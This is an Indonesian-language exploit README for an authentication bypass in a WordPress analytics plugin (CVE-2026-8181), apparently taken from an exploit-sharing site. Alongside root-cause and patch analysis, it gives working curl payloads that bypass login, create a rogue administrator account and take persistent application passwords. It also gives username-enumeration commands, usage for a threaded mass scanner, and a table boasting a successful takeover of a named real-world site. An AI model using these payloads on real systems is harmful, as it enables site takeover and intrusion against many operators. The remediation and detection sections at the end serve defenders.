Share
## https://sploitus.com/exploit?id=725C7076-F0CE-590C-B993-36F44C104837
# CVE-2026-8181 β Burst Statistics Authentication Bypass to Admin Account Takeover
---
## π Informasi Kerentanan
| Item | Detail |
|------|--------|
| **CVE ID** | CVE-2026-8181 |
| **Plugin** | Burst Statistics β Privacy-Friendly WordPress Analytics |
| **Versi Terpengaruh** | 3.4.0 β 3.4.1.1 |
| **Versi Patched** | 3.4.2 |
| **CVSS Score** | 9.8 (Critical) |
| **Tipe** | CWE-287: Improper Authentication |
| **Vektor Serangan** | Network / Remote / Unauthenticated |
| **Instalasi Aktif** | ~200,000+ |
| **Penemu** | PRISM, Wordfence Threat Intelligence |
| **Tanggal Publikasi** | 8 Mei 2026 |
---
## π― Ringkasan
Kerentanan **Authentication Bypass** kritis pada plugin WordPress Burst Statistics versi 3.4.0 hingga 3.4.1.1 memungkinkan attacker **tanpa autentikasi** untuk mendapatkan **akses penuh administrator** WordPress hanya dengan mengetahui username admin. Konsekuensinya adalah pengambilalihan akun admin lengkap, termasuk pembuatan akun baru, modifikasi konten, hingga instalasi plugin berbahaya.
---
## π¬ Analisis Teknis
### Root Cause
Kerentanan berada di method `is_mainwp_authenticated()` pada file `includes/Frontend/class-mainwp-proxy.php`:
```php
// KODE VULNERABLE (v3.4.1.1)
public function is_mainwp_authenticated(): bool {
$auth_header = sanitize_text_field(
wp_unslash($_SERVER['HTTP_AUTHORIZATION'] ?? '')
);
if (!empty($auth_header) && stripos($auth_header, 'basic ') === 0) {
$credentials = base64_decode(substr($auth_header, 6), true);
// ... parse username:password ...
$is_valid = wp_authenticate_application_password(null, $username, $password);
if (is_wp_error($is_valid)) { // β BUG: null BUKAN WP_Error!
return false;
}
$user = get_user_by('login', $username); // β Auth hanya berdasarkan username!
if (!$user || !user_can($user, 'manage_burst_statistics')) {
return false;
}
wp_set_current_user($user->ID); // β Grant admin privileges
return true;
}
return false;
}
```
**Bug utama:** `wp_authenticate_application_password(null, $username, $password)` mengembalikan `null` (bukan `WP_Error`) ketika Application Passwords tidak tersedia, yang terjadi pada:
- Situs **HTTP** (bukan HTTPS) dimana `wp_is_application_passwords_available()` return `false`
- Situs dimana `is_ssl()` return `false`
Karena `is_wp_error(null)` = `false`, kode melanjutkan ke `get_user_by('login', $username)` yang mengautentikasi **hanya berdasarkan username** tanpa validasi password sama sekali.
### Eksekusi Awal (Early Execution)
Method `has_admin_access()` dipanggil saat hook `plugins_loaded` (prioritas 9) di `class-burst.php` baris 118:
```php
if ($this->has_admin_access()) {
$this->admin = new Admin();
$this->admin->init();
}
```
Hook ini berjalan **SEBELUM** REST API route processing, sehingga `wp_set_current_user()` memberikan hak admin untuk **SELURUH request** β bukan hanya endpoint Burst.
### Alur Serangan
```
Attacker ββHTTP RequestβββΆ WordPress
Headers:
X-BURSTMAINWP: 1
Authorization: Basic base64(admin:anything)
β
βΌ
[plugins_loaded hook fires]
β
Burst::bootstrap() β has_admin_access()
β
HTTP_X_BURSTMAINWP == '1' β is_mainwp_authenticated()
β
wp_authenticate_application_password(null, 'admin', 'anything')
β
Situs HTTP β wp_is_application_passwords_available() = false
β
Return null (BUKAN WP_Error)
β
is_wp_error(null) = false β BYPASS!
β
get_user_by('login', 'admin') β found
β
wp_set_current_user(admin_id) β FULL ADMIN
β
has_admin_access() = true
β
[REST API memproses request dengan konteks admin]
β
Attacker mengakses SELURUH endpoint WordPress sebagai administrator
```
---
## π» Proof of Concept
### Prasyarat
- Target menjalankan **HTTP** (bukan HTTPS, atau SSL tidak terdeteksi dengan benar)
- Plugin Burst Statistics versi **3.4.0 β 3.4.1.1** terinstal dan aktif
- Mengetahui username admin (dapat di-enumerate)
### Instalasi
```bash
pip3 install requests
```
### Penggunaan β Single Target
```bash
# Scan dasar
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin -k
# Buat akun admin baru
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin --create-user -k
# Dengan username custom
python3 exploit_CVE-2026-8181.py -u http://target.com -U administrator -k
```
### Penggunaan β Multi Target (Mass Scanner)
```bash
python3 poc_CVE-2026-8181.py
```
Mode interaktif:
1. Input file target list (`.txt`, satu domain per baris)
2. Atur jumlah thread (default: 50)
3. Atur kredensial akun baru
4. Jalankan scan
Format `targets.txt`:
```
target1.com
target2.com
192.168.1.100
subdomain.example.org
```
### PoC Minimal (curl)
```bash
# Step 1: Verifikasi auth bypass
curl -s \
-H "X-BURSTMAINWP: 1" \
-H "Authorization: Basic $(echo -n 'admin:anything' | base64)" \
"http://target.com/?rest_route=/wp/v2/users/me&context=edit"
# Step 2: Buat akun administrator baru
curl -s \
-H "X-BURSTMAINWP: 1" \
-H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
-H "Content-Type: application/json" \
-X POST \
"http://target.com/?rest_route=/wp/v2/users" \
-d '{"username":"hacker","password":"P@ssw0rd!","email":"h@ck.er","roles":["administrator"]}'
# Step 3: Dapatkan Application Password (kredensial persisten)
curl -s \
-H "X-BURSTMAINWP: 1" \
-H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
-H "Content-Type: application/json" \
-X POST \
"http://target.com/?rest_route=/burst/v1/mainwp-auth" \
-d '{}'
```
### Enumerasi Username Admin
```bash
# Method 1: REST API
curl -s "http://target.com/wp-json/wp/v2/users" | jq '.[].slug'
# Method 2: Fallback route
curl -s "http://target.com/?rest_route=/wp/v2/users" | jq '.[].slug'
# Method 3: Author enumeration
for i in $(seq 1 5); do
curl -s -o /dev/null -w "%{redirect_url}\n" "http://target.com/?author=$i"
done
```
---
## β
Validasi Hasil
Pengujian dilakukan pada WordPress 6.9 dengan Burst Statistics 3.4.1.1 (localhost):
| Pengujian | Hasil | Bukti |
|-----------|-------|-------|
| Akses `/wp/v2/users/me` tanpa auth | GAGAL | `rest_not_logged_in` |
| Akses dengan bypass headers | **BERHASIL** | Profil admin + email + roles |
| Buat akun administrator baru | **BERHASIL** | User ID 2, role: administrator |
| Baca WordPress settings | **BERHASIL** | Site title, admin email, URL |
| Dapatkan Application Password | **BERHASIL** | Base64 token `admin:password` |
| Daftar plugin terinstal | **BERHASIL** | Daftar lengkap dengan versi |
### Validasi Live Target
| Target | Hasil |
|--------|-------|
| `ausdermitte-binz.de` | **BERHASIL PWNED** β Burst 3.4.1.1, bypass via `binzwpadmin`, akun `xenon1337` dibuat (ID:30) |
---
## π§ Analisis Patch (v3.4.2)
Perbaikan di versi 3.4.2 mengatasi beberapa masalah:
1. **Cek return type yang benar:**
```php
// PATCHED
$authenticated_user = wp_authenticate_application_password(null, $parts[0], $parts[1]);
if (!$authenticated_user instanceof \WP_User) { // β Cek WP_User, bukan !WP_Error
return false;
}
```
2. **Force Application Passwords availability:**
```php
$allow = static function(): bool { return true; };
add_filter('application_password_is_api_request', $allow, 999);
// ... authenticate ...
remove_filter('application_password_is_api_request', $allow, 999);
```
3. **CSRF nonce requirement** untuk cookie-authenticated requests
4. **Nonce replay protection** dengan single-use enforcement via `add_option()`
5. **Removed legacy signature format** yang tidak mengikat username
---
## π‘οΈ Remediasi
### Langkah Segera
1. **Update Burst Statistics** ke versi 3.4.2 atau lebih baru
2. **Audit akun user** β cek akun administrator yang tidak dikenal
3. **Cabut semua Application Passwords** (`wp_application_passwords` user meta)
4. **Review email admin** WordPress dan setting lainnya
5. **Cek plugin/theme** yang tidak dikenal
### Deteksi Indikator Kompromi
- Cari di access log request dengan header `X-BURSTMAINWP: 1` dari IP eksternal
- Monitor tabel `wp_users` untuk akun administrator baru
- Cek `wp_options` untuk transient `burst_mainwp_app_token_*`
- Review Application Passwords di profil user
---
## π File yang Tersedia
| File | Deskripsi |
|------|-----------|
| `exploit_CVE-2026-8181.py` | PoC exploit single target |
| `poc_CVE-2026-8181.py` | Mass scanner multi-target dengan threading |
| `README.md` | Dokumentasi ini |
---
## β οΈ Disclaimer
Tool dan dokumentasi ini hanya untuk **pengujian keamanan yang sah** dengan izin eksplisit. Penggunaan tanpa otorisasi terhadap sistem yang bukan milik Anda atau tanpa izin tertulis adalah **ilegal**. Penulis tidak bertanggung jawab atas penyalahgunaan.
---
## π Referensi
- [Wordfence Advisory](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/burst-statistics/burst-statistics-340-3411-authentication-bypass-to-admin-account-takeover)
- [Source Code Vulnerable](https://plugins.trac.wordpress.org/browser/burst-statistics/tags/3.4.1.1/includes/Frontend/class-mainwp-proxy.php)
- [WordPress Plugin Repository](https://wordpress.org/plugins/burst-statistics/)
- [WP-Safety Analysis](https://wp-safety.org/plugins/burst-statistics)
---